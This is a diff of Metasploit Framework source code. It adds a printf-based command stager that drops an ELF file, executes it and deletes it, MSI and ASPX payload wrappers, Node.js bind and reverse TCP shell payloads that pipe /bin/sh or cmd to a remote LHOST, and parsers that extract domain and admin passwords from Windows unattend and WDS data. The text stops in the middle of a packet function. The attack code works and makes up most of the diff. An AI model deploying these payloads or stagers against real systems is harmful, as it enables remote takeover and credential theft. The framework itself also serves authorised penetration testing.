# Allows for staging cmd to arbitrary payloads through the CmdStagerPrintf.
#
# This stager uses a POSIX-conformant printf, that supports the interpretation
# of octal escapes, to drop an ELF with the payload embedded to disk.
####
module Exploit::CmdStagerPrintf
include Msf::Exploit::CmdStager
# Initializes a CmdStagerPrintf instance for the supplied payload
#
# @param exe [String] The payload embedded into an ELF
# @return [Rex::Exploitation::CmdStagerPrintf] Stager instance
def create_stager(exe)
Rex::Exploitation::CmdStagerPrintf.new(exe)
end
end
end

View File

@ -20,15 +20,20 @@ module Exploit::EXE
OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]),
OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]),
OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]),
OptBool.new( 'EXE::OldMethod', [ false, 'Set to use the substitution EXE generation method.' ]),
OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ])
OptBool.new( 'EXE::OldMethod',[ false, 'Set to use the substitution EXE generation method.' ]),
OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]),
OptPath.new( 'MSI::Custom', [ false, 'Use custom msi instead of automatically generating a payload msi']),
OptPath.new( 'MSI::Path', [ false, 'The directory in which to look for the msi template' ]),
OptPath.new( 'MSI::Template', [ false, 'The msi template file name' ]),
OptBool.new( 'MSI::UAC', [ false, 'Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)' ])
], self.class)
end
def get_custom_exe
print_status("Using custom executable #{datastore["EXE::Custom"]}, RHOST and RPORT settings will be ignored!")
def get_custom_exe(path=nil)
path ||= datastore['EXE::Custom']
print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!")
datastore['DisablePayloadHandler'] = true
file = ::File.open(datastore['EXE::Custom'],'rb')
file = ::File.open(path,'rb')
exe = file.read(file.stat.size)
file.close
exe
@ -99,6 +104,22 @@ module Exploit::EXE
dll
end
def generate_payload_msi(opts = {})
return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom'
exe = generate_payload_exe(opts)
opts.merge! ({
:msi_template => datastore['MSI::Template'],
:msi_template_path => datastore['MSI::Path'],
:uac => datastore['MSI::UAC']
})
msi = Msf::Util::EXE.to_exe_msi(framework, exe, opts)
return msi
end
protected
def exe_init_options(opts)
opts.merge!(

View File

@ -3,6 +3,7 @@ require 'rex/service_manager'
require 'rex/exploitation/obfuscatejs'
require 'rex/exploitation/encryptjs'
require 'rex/exploitation/heaplib'
require 'rex/exploitation/javascriptosdetect'
module Msf

View File

@ -26,6 +26,7 @@ require 'msf/core/exploit/cmdstager_debug_asm'
require 'msf/core/exploit/cmdstager_tftp'
require 'msf/core/exploit/cmdstager_bourne'
require 'msf/core/exploit/cmdstager_echo'
require 'msf/core/exploit/cmdstager_printf'
# Protocol
require 'msf/core/exploit/tcp'

View File

@ -12,39 +12,40 @@ class Msf::Module::Author
# A hash of known author names
Known =
{
'hdm' => 'hdm' + 0x40.chr + 'metasploit.com',
'spoonm' => 'spoonm' + 0x40.chr + 'no$email.com',
'skape' => 'mmiller' + 0x40.chr + 'hick.org',
'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com',
'optyx' => 'optyx' + 0x40.chr + 'no$email.com',
'anonymous' => 'anonymous-contributor' + 0x40.chr + 'metasploit.com',
'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com',
'MC' => 'mc' + 0x40.chr + 'metasploit.com',
'cazz' => 'bmc' + 0x40.chr + 'shmoo.com',
'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com',
'skylined' => 'skylined' + 0x40.chr + 'edup.tudelft.nl',
'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com',
'I)ruid' => 'druid' + 0x40.chr + 'caughq.org',
'egypt' => 'egypt' + 0x40.chr + 'metasploit.com',
'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com',
'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com',
'et' => 'et' + 0x40.chr + 'metasploit.com',
'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com',
'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com',
'ddz' => 'ddz' + 0x40.chr + 'theta44.org',
'jduck' => 'jduck' + 0x40.chr + 'metasploit.com',
'natron' => 'natron' + 0x40.chr + 'metasploit.com',
'todb' => 'todb' + 0x40.chr + 'metasploit.com',
'msmith' => 'msmith' + 0x40.chr + 'metasploit.com',
'jcran' => 'jcran' + 0x40.chr + 'metasploit.com',
'sinn3r' => 'sinn3r' + 0x40.chr + 'metasploit.com',
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com',
'anonymous' => 'anonymous-contributor' + 0x40.chr + 'metasploit.com',
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com',
'cazz' => 'bmc' + 0x40.chr + 'shmoo.com',
'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com',
'ddz' => 'ddz' + 0x40.chr + 'theta44.org',
'egypt' => 'egypt' + 0x40.chr + 'metasploit.com',
'et' => 'et' + 0x40.chr + 'metasploit.com',
'hdm' => 'hdm' + 0x40.chr + 'metasploit.com',
'I)ruid' => 'druid' + 0x40.chr + 'caughq.org',
'jcran' => 'jcran' + 0x40.chr + 'metasploit.com',
'jduck' => 'jduck' + 0x40.chr + 'metasploit.com',
'joev' => 'joev' + 0x40.chr + 'metasploit.com',
'juan vazquez' => 'juan.vazquez' + 0x40.chr + 'metasploit.com',
'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com',
'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com',
'MC' => 'mc' + 0x40.chr + 'metasploit.com',
'msmith' => 'msmith' + 0x40.chr + 'metasploit.com',
'mubix' => 'mubix' + 0x40.chr + 'hak5.org',
'natron' => 'natron' + 0x40.chr + 'metasploit.com',
'optyx' => 'optyx' + 0x40.chr + 'no$email.com',
'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com',
'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com',
'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com',
'sinn3r' => 'sinn3r' + 0x40.chr + 'metasploit.com',
'skape' => 'mmiller' + 0x40.chr + 'hick.org',
'skylined' => 'skylined' + 0x40.chr + 'edup.tudelft.nl',
'spoonm' => 'spoonm' + 0x40.chr + 'no$email.com',
'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com',
'theLightCosine' => 'theLightCosine' + 0x40.chr + 'metasploit.com',
'mubix' => 'mubix' + 0x40.chr + 'hak5.org'
'todb' => 'todb' + 0x40.chr + 'metasploit.com',
'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com'
}
#

View File

@ -0,0 +1,70 @@
# -*- coding: binary -*-
require 'msf/core'
module Msf::Payload::NodeJS
# Outputs a javascript snippet that spawns a bind TCP shell
# @return [String] javascript code that executes bind TCP payload
def nodejs_bind_tcp
cmd = <<-EOS
(function(){
var require = global.require || global.process.mainModule.constructor._load;
if (!require) return;
var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh";
var net = require("net"),
cp = require("child_process"),
util = require("util");
var server = net.createServer(function(socket) {
var sh = cp.spawn(cmd, []);
socket.pipe(sh.stdin);
util.pump(sh.stdout, socket);
util.pump(sh.stderr, socket);
});
server.listen(#{datastore['LPORT']});
})();
EOS
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
end
# Outputs a javascript snippet that spawns a reverse TCP shell
# @param [Hash] opts the options to create the reverse TCP payload with
# @option opts [Boolean] :use_ssl use SSL when communicating with the shell. defaults to false.
# @return [String] javascript code that executes reverse TCP payload
def nodejs_reverse_tcp(opts={})
use_ssl = opts.fetch(:use_ssl, false)
tls_hash = if use_ssl then '{rejectUnauthorized:false}, ' else '' end
net_lib = if use_ssl then 'tls' else 'net' end
lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
# the global.process.mainModule.constructor._load fallback for require() is
# handy when the payload is eval()'d into a sandboxed context: the reference
# to 'require' is missing, but can be looked up from the 'global' object.
#
# however, this fallback might break in later versions of nodejs.
cmd = <<-EOS
(function(){
var require = global.require || global.process.mainModule.constructor._load;
if (!require) return;
var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh";
var net = require("#{net_lib}"),
cp = require("child_process"),
util = require("util"),
sh = cp.spawn(cmd, []);
var client = this;
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
client.socket.pipe(sh.stdin);
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
});
})();
EOS
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
end
# Wraps the javascript code param in a "node" command invocation
# @param [String] code the javascript code to run
# @return [String] a command that invokes "node" and passes the code
def nodejs_cmd(code)
"node -e 'eval(\"#{Rex::Text.to_hex(code, "\\x")}\");'"
end
end

View File

@ -13,6 +13,7 @@ class EXE
require 'rex'
require 'rex/peparsey'
require 'rex/pescan'
require 'rex/random_identifier_generator'
require 'rex/zip'
require 'metasm'
require 'digest/sha1'
@ -26,7 +27,7 @@ require 'msf/core/exe/segment_injector'
def self.set_template_default(opts, exe = nil, path = nil)
# If no path specified, use the default one.
path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates")
path ||= File.join(Msf::Config.data_directory, "templates")
# If there's no default name, we must blow it up.
if not exe
@ -57,7 +58,7 @@ require 'msf/core/exe/segment_injector'
end
def self.read_replace_script_template(filename, hash_sub)
template_pathname = File.join(Msf::Config.install_root, "data", "templates", "scripts", filename)
template_pathname = File.join(Msf::Config.data_directory, "templates", "scripts", filename)
template = ''
File.open(template_pathname, "rb") do |f|
@ -488,6 +489,66 @@ require 'msf/core/exe/segment_injector'
exe_sub_method(code,opts)
end
#
# Wraps an executable inside a Windows
# .msi file for auto execution when run
#
def self.to_exe_msi(framework, exe, opts={})
if opts[:uac]
opts[:msi_template] ||= "template_windows.msi"
else
opts[:msi_template] ||= "template_nouac_windows.msi"
end
return replace_msi_buffer(exe, opts)
end
def self.replace_msi_buffer(pe, opts)
opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")
if opts[:msi_template].include?(File::SEPARATOR)
template = opts[:msi_template]
else
template = File.join(opts[:msi_template_path], opts[:msi_template])
end
msi = ''
File.open(template, "rb") { |fd|
msi = fd.read(fd.stat.size)
}
section_size = 2**(msi[30..31].unpack('s')[0])
sector_allocation_table = msi[section_size..section_size*2].unpack('l*')
buffer_chain = []
current_secid = 5 # This is closely coupled with the template provided and ideally
# would be calculated from the dir stream?
until current_secid == -2
buffer_chain << current_secid
current_secid = sector_allocation_table[current_secid]
end
buffer_size = buffer_chain.length * section_size
if pe.size > buffer_size
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
end
pe_block_start = 0
pe_block_end = pe_block_start + section_size - 1
buffer_chain.each do |section|
block_start = section_size * (section + 1)
block_end = block_start + section_size - 1
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
msi[block_start..block_end] = pe_block
pe_block_start = pe_block_end + 1
pe_block_end += section_size
end
return msi
end
def self.to_osx_arm_macho(framework, code, opts={})
# Allow the user to specify their own template
@ -822,6 +883,21 @@ def self.to_vba(framework,code,opts={})
return read_replace_script_template("to_exe.aspx.template", hash_sub)
end
def self.to_mem_aspx(framework, code, exeopts={})
# Intialize rig and value names
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:var_funcAddr)
rig.init_var(:var_hThread)
rig.init_var(:var_pInfo)
rig.init_var(:var_threadId)
rig.init_var(:var_bytearray)
hash_sub = rig.to_h
hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])
return read_replace_script_template("to_mem.aspx.template", hash_sub)
end
def self.to_win32pe_psh_net(framework, code, opts={})
hash_sub = {}
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
@ -1532,6 +1608,9 @@ def self.to_vba(framework,code,opts={})
output = Msf::Util::EXE.to_exe_asp(exe, exeopts)
when 'aspx'
output = Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)
when 'aspx-exe'
exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
output = Msf::Util::EXE.to_exe_aspx(exe, exeopts)
@ -1567,6 +1646,25 @@ def self.to_vba(framework,code,opts={})
when ARCH_X64 then to_winpe_only(framework, code, exeopts, arch)
end
when 'msi'
case arch
when ARCH_X86,nil
exe = to_win32pe(framework, code, exeopts)
when ARCH_X86_64,ARCH_X64
exe = to_win64pe(framework, code, exeopts)
end
output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
when 'msi-nouac'
case arch
when ARCH_X86,nil
exe = to_win32pe(framework, code, exeopts)
when ARCH_X86_64,ARCH_X64
exe = to_win64pe(framework, code, exeopts)
end
exeopts[:uac] = true
output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
when 'elf'
if (not plat or (plat.index(Msf::Module::Platform::Linux)))
output = case arch
@ -1632,7 +1730,7 @@ def self.to_vba(framework,code,opts={})
def self.to_executable_fmt_formats
[
'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe',
'vbs','loop-vbs','asp','aspx','war','psh','psh-net'
'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net', 'msi', 'msi-nouac'
]
end

View File

@ -7,3 +7,4 @@ require 'rex/exploitation/cmdstager/debug_asm'
require 'rex/exploitation/cmdstager/tftp'
require 'rex/exploitation/cmdstager/bourne'
require 'rex/exploitation/cmdstager/echo'
require 'rex/exploitation/cmdstager/printf'

View File

@ -0,0 +1,122 @@
# -*- coding: binary -*-
require 'rex/text'
require 'rex/arch'
require 'msf/core/framework'
require 'shellwords'
module Rex
module Exploitation
class CmdStagerPrintf < CmdStagerBase
def initialize(exe)
super
@var_elf = Rex::Text.rand_text_alpha(5)
end
#
# Override to ensure opts[:temp] is a correct *nix path
#
def generate(opts = {})
opts[:temp] = opts[:temp] || '/tmp/'
opts[:temp].gsub!(/\\/, '/')
opts[:temp] = opts[:temp].shellescape
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
super
end
#
# Override to set the extra byte count
#
def generate_cmds(opts)
if opts[:noquotes]
@cmd_start = "printf "
@cmd_end = ">>#{@tempdir}#{@var_elf}"
@prefix = '\\\\'
min_part_size = 5
else
@cmd_start = "printf '"
@cmd_end = "'>>#{@tempdir}#{@var_elf}"
@prefix = '\\'
min_part_size = 4
end
xtra_len = @cmd_start.length + @cmd_end.length
opts.merge!({ :extra => xtra_len })
if (opts[:linemax] - opts[:extra]) < min_part_size
raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
end
super
end
#
# Encode into a "\12\345" octal format that printf understands
#
def encode_payload(opts)
return Rex::Text.to_octal(@exe, @prefix)
end
#
# Override it to ensure that the octal representation of a byte isn't cut
#
def slice_up_payload(encoded, opts)
encoded_dup = encoded.dup
parts = []
xtra_len = opts[:extra]
xtra_len ||= 0
while (encoded_dup.length > 0)
temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
# remove the last octal escape if it is imcomplete
if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix
pos = temp.rindex('\\')
pos -= 1 if temp[pos-1] == '\\'
temp.slice!(pos..temp.length-1)
end
parts << temp
encoded_dup.slice!(0, temp.length)
end
parts
end
#
# Combine the parts of the encoded file with the stuff that goes
# before and after it.
#
def parts_to_commands(parts, opts)
parts.map do |p|
@cmd_start + p + @cmd_end
end
end
#
# Since the binary has been already dropped to disk, just execute and
# delete it
#
def generate_cmds_decoder(opts)
cmds = []
# Make it all happen
cmds << "chmod +x #{@tempdir}#{@var_elf}"
cmds << "#{@tempdir}#{@var_elf}"
# Clean up after unless requested not to..
unless opts[:nodelete]
cmds << "rm -f #{@tempdir}#{@var_elf}"
end
return cmds
end
def cmd_concat_operator
" ; "
end
end
end
end

View File

@ -29,7 +29,7 @@ class RopDb
#
# Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or
# some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size,
# and :size_negate.
# :unsafe_negate_size, and :safe_negate_size
# Note if no RoP is found, it returns an empry array.
# Arguments:
# rop_name - name of the ROP chain.
@ -90,8 +90,10 @@ class RopDb
Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i
elsif e == :size
payload.length
elsif e == :size_negate
0xffffffff - payload.length + 1
elsif e == :unsafe_negate_size
get_unsafe_size(payload.length)
elsif e == :safe_negate_size
get_safe_size(payload.length)
else
e
end
@ -105,6 +107,28 @@ class RopDb
private
#
# Returns a size that's safe from null bytes.
# This function will keep incrementing the value of "s" until it's safe from null bytes.
#
def get_safe_size(s)
safe_size = get_unsafe_size(s)
while (safe_size.to_s(16).rjust(8, '0')).scan(/../).include?("00")
safe_size -= 1
end
safe_size
end
#
# Returns a size that might contain one or more null bytes
#
def get_unsafe_size(s)
0xffffffff - s + 1
end
#
# Checks if a ROP chain is compatible
#
@ -146,8 +170,10 @@ class RopDb
gadgets << :junk
when 'size'
gadgets << :size
when 'size_negate'
gadgets << :size_negate
when 'unsafe_negate_size'
gadgets << :unsafe_negate_size
when 'safe_negate_size'
gadgets << :safe_negate_size
else
gadgets << value.to_i(16)
end

View File

@ -9,12 +9,16 @@ module Parser
# and uses REXML (as opposed to Nokogiri) for its XML parsing.
# See: http://technet.microsoft.com/en-us/library/ff715801
# http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx
# Samples: http://technet.microsoft.com/en-us/library/cc732280%28v=ws.10%29.aspx
class Unattend
require 'rex/text'
def self.parse(xml)
return [] if xml.nil?
results = []
unattend = xml.elements['unattend']
return if unattend.nil?
return [] if unattend.nil?
unattend.each_element do |settings|
next if settings.class != REXML::Element
settings.get_elements('component').each do |c|
@ -22,6 +26,7 @@ class Unattend
results << extract_useraccounts(c.elements['UserAccounts'])
results << extract_autologon(c.elements['AutoLogon'])
results << extract_deployment(c.elements['WindowsDeploymentServices'])
results << extract_domain_join(c.elements['Identification/Credentials'])
end
end
return results.flatten
@ -47,6 +52,18 @@ class Unattend
return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password }
end
#
# Extract sensitive data from 'Secure' Domain Join
#
def self.extract_domain_join(credentials)
return [] if credentials.nil?
domain = credentials.elements['Domain'].get_text.value rescue ''
username = credentials.elements['Username'].get_text.value rescue ''
password = credentials.elements['Password'].get_text.value rescue ''
return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password }
end
#
# Extract sensitive data from AutoLogon
#
@ -91,7 +108,7 @@ class Unattend
password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '')
end
if not password.empty?
unless password.empty?
results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password}
end
@ -128,6 +145,27 @@ class Unattend
return results
end
def self.create_table(results)
return nil if results.nil? or results.empty?
table = Rex::Ui::Text::Table.new({
'Header' => 'Unattend Credentials',
'Indent' => 1,
'Columns' => ['Type', 'Domain', 'Username', 'Password', 'Groups']
})
results.each do |result|
case result['type']
when 'wds', 'auto', 'domain_join'
table << [result['type'], result['domain'], result['username'], result['password'], ""]
when 'admin', 'local'
table << [result['type'], "", result['username'], result['password'], ""]
when 'domain'
table << [result['type'], "", result['username'], "", result['group']]
end
end
return table
end
end
end
end

View File

@ -84,7 +84,7 @@ class Resolve
end
if raw.empty?
ip = ""
ip = nil
else
if type == AF_INET
ip = Rex::Socket.addr_ntoa(raw[0..3])

View File

@ -269,13 +269,21 @@ class DLL
rec_out_only_buffers = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT)
rec_return_value = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_RET)
rec_last_error = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_ERR)
rec_err_msg = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_MSG)
# Error messages come back with trailing CRLF, so strip it out
# if we do get a message.
rec_err_msg.strip! if not rec_err_msg.nil?
#puts "received stuff"
#puts "out_only_layout:"
#puts out_only_layout
# The hash the function returns
return_hash={"GetLastError" => rec_last_error}
return_hash = {
"GetLastError" => rec_last_error,
"ErrorMessage" => rec_err_msg
}
#process return value
case function.return_type

View File

@ -42,10 +42,13 @@ class MultiCaller
include DLLHelper
def initialize( client, parent )
def initialize( client, parent, win_consts )
@parent = parent
@client = client
# needed by DLL helper
@win_consts = win_consts
if( @client.platform =~ /x64/i )
@native = 'Q'
else
@ -224,9 +227,17 @@ class MultiCaller
rec_out_only_buffers = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT)
rec_return_value = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_RET)
rec_last_error = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_ERR)
rec_err_msg = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_MSG)
# Error messages come back with trailing CRLF, so strip it out
# if we do get a message.
rec_err_msg.strip! if not rec_err_msg.nil?
# The hash the function returns
return_hash={"GetLastError" => rec_last_error}
return_hash = {
"GetLastError" => rec_last_error,
"ErrorMessage" => rec_err_msg
}
#process return value
case function.return_type
@ -303,8 +314,6 @@ class MultiCaller
protected
attr_accessor :win_consts
end # MultiCall
end; end; end; end; end; end

View File

@ -290,7 +290,7 @@ class Railgun
#
def multi(functions)
if @multicaller.nil?
@multicaller = MultiCaller.new(client, self)
@multicaller = MultiCaller.new(client, self, ApiConstants.manager)
end
return @multicaller.call(functions)

View File

@ -47,9 +47,10 @@ TLV_TYPE_RAILGUN_DLLNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_R
TLV_TYPE_RAILGUN_FUNCNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10)
TLV_TYPE_RAILGUN_MULTI_GROUP = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11)
TLV_TYPE_RAILGUN_MEM_ADDRESS = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12 )
TLV_TYPE_RAILGUN_MEM_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13 )
TLV_TYPE_RAILGUN_MEM_LENGTH = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14 )
TLV_TYPE_RAILGUN_MEM_ADDRESS = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12)
TLV_TYPE_RAILGUN_MEM_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13)
TLV_TYPE_RAILGUN_MEM_LENGTH = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14)
TLV_TYPE_RAILGUN_CALLCONV = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15)
TLV_TYPE_RAILGUN_BACK_MSG = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 16)
end; end; end; end; end; end

View File

@ -252,7 +252,7 @@ require 'rex/proto/smb/exceptions'
bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args)
else
bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1])
bind, context = Rex::Proto::DCERPC::Packet.make_bind(*self.handle.uuid)
end
raise 'make_bind failed' if !bind

View File

@ -11,11 +11,15 @@ require 'rex/text'
UUID = Rex::Proto::DCERPC::UUID
# Create a standard DCERPC BIND request packet
def self.make_bind(uuid, vers)
def self.make_bind(uuid, vers, xfer_syntax_uuid=UUID.xfer_syntax_uuid, xfer_syntax_vers=UUID.xfer_syntax_vers)
# Process the version strings ("1.0", 1.0, "1", 1)
bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers)
xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers)
xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(xfer_syntax_vers)
if UUID.is? xfer_syntax_uuid
xfer_syntax_uuid = UUID.uuid_pack(xfer_syntax_uuid)
end
# Create the bind request packet
buff =
@ -37,7 +41,7 @@ require 'rex/text'
UUID.uuid_pack(uuid), # interface uuid
bind_vers_maj, # interface major version
bind_vers_min, # interface minor version
UUID.xfer_syntax_uuid, # transfer syntax
xfer_syntax_uuid, # transfer syntax
xfer_vers_maj, # syntax major version
xfer_vers_min, # syntax minor version
].pack('CCCCNvvVvvVVvvA16vvA16vv')

View File

@ -0,0 +1,3 @@
# -*- coding: binary -*-
require 'rex/proto/dcerpc/wdscp/constants'
require 'rex/proto/dcerpc/wdscp/packet'

View File

@ -0,0 +1,89 @@
# -*- coding: binary -*-
module Rex
module Proto
module DCERPC
module WDSCP
# http://msdn.microsoft.com/en-us/library/dd891406(prot.20).aspx
# http://msdn.microsoft.com/en-us/library/dd541332(prot.20).aspx
# Not all values defined by the spec have been imported...
class Constants
WDSCP_RPC_UUID = "1A927394-352E-4553-AE3F-7CF4AAFCA620"
OS_DEPLOYMENT_GUID = "\x5a\xeb\xde\xd8\xfd\xef\xb2\x43\x99\xfc\x1a\x8a\x59\x21\xc2\x27"
VAR_NAME_ARCHITECTURE = "ARCHITECTURE"
VAR_NAME_CLIENT_GUID = "CLIENT_GUID"
VAR_NAME_CLIENT_MAC = "CLIENT_MAC"
VAR_NAME_VERSION = "VERSION"
VAR_NAME_MESSAGE_TYPE = "MESSAGE_TYPE"
VAR_NAME_TRANSACTION_ID = "TRANSACTION_ID"
VAR_NAME_FLAGS = "FLAGS"
VAR_NAME_CC = "CC" #Client Capabilities
VAR_NAME_IMDC = "IMDC"
VAR_TYPE_LOOKUP = {
VAR_NAME_ARCHITECTURE => :ULONG,
VAR_NAME_CLIENT_GUID => :WSTRING,
VAR_NAME_CLIENT_MAC => :WSTRING,
VAR_NAME_VERSION => :ULONG,
VAR_NAME_MESSAGE_TYPE => :ULONG,
VAR_NAME_TRANSACTION_ID => :WSTRING,
VAR_NAME_FLAGS => :ULONG,
VAR_NAME_CC => :ULONG,
VAR_NAME_IMDC => :ULONG
}
CC_FLAGS = {
:V2 => 1,
:VHDX => 2
}
DOMAIN_JOIN_FLAGS = {
:JOIN_DOMAIN => 1,
:ACCOUNT_EXISTS => 2,
:PRESTAGE_USING_MAC => 3,
:RESET_BOOT_PROGRAM => 256
}
ARCHITECTURE = {
:X64 => 9,
:X86 => 0,
:IA64 => 6,
:ARM => 5
}
PACKET_TYPE = {
:REQUEST => 1,
:REPLY => 2
}
OPCODE = {
:IMG_ENUMERATE => 2,
:LOG_INIT => 3,
:LOG_MSG => 4,
:GET_CLIENT_UNATTEND => 5,
:GET_UNATTEND_VARIABLES => 6,
:GET_DOMAIN_JOIN_INFORMATION => 7,
:RESET_BOOT_PROGRAM => 8,
:GET_MACHINE_DRIVER_PACKAGES => 200
}
BASE_TYPE = {
:BYTE => 0x0001,
:USHORT => 0x0002,
:ULONG => 0x0004,
:ULONG64 => 0x0008,
:STRING => 0x0010,
:WSTRING => 0x0020,
:BLOB => 0x0040
}
TYPE_MODIFIER = {
:NONE => 0x0000,
:ARRAY => 0x1000
}
end
end
end
end
end

View File

@ -0,0 +1,94 @@
# -*- coding: binary -*-
module Rex
module Proto
module DCERPC
module WDSCP
class Packet
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
def initialize(packet_type, opcode)
if opcode.nil? || packet_type.nil?
raise(ArgumentError, "Packet arguments cannot be nil")
end
@variables = []
@packet_type = WDS_CONST::PACKET_TYPE[packet_type]
@opcode = WDS_CONST::OPCODE[opcode]
end
def add_var(name, type_mod=0, value_length=nil, array_size=0, value)
padding = 0
vt = WDS_CONST::VAR_TYPE_LOOKUP[name]
value_type = WDS_CONST::BASE_TYPE[vt]
name = Rex::Text.to_unicode(name).unpack('H*')[0]
# Terminate strings with null char
if vt == :STRING
value << "\x00"
elsif vt == :WSTRING
value = Rex::Text.to_unicode(value)
value << "\x00\x00"
end
value_length ||= value.length
# Variable block total size should be evenly divisible by 16.
len = 16 * (1 + (value_length/16))
@variables <<
[ name,
padding,
value_type,
type_mod,
value_length,
array_size,
value
].pack('H132vvvVVa%i' % len)
end
def create
packet = []
var_count = @variables.count
packet_size = 0
@variables.each do |var|
packet_size += var.length
end
# variables + operation
packet_size += 16
# These bytes are not part of the spec but are not part of DCERPC according to Wireshark
# Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice...
packet << [(packet_size+40)].pack('V') * 2
packet << create_endpoint_header(packet_size)
packet << create_operation_header(packet_size, var_count, @packet_type, @opcode)
packet.concat(@variables)
return packet.join
end
def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode)
return [
packet_size, # PacketSize
256, # Version
packet_type, # Packet_Type
0, # Padding
opcode, # Opcode
var_count, # Variable Count
].pack('VvCCVV')
end
def create_endpoint_header(packet_size)
return [
40, # Header_Size
256, # Version
packet_size, # Packet_Size - This doesn't differ from operation header despite the spec...
WDS_CONST::OS_DEPLOYMENT_GUID, # GUID
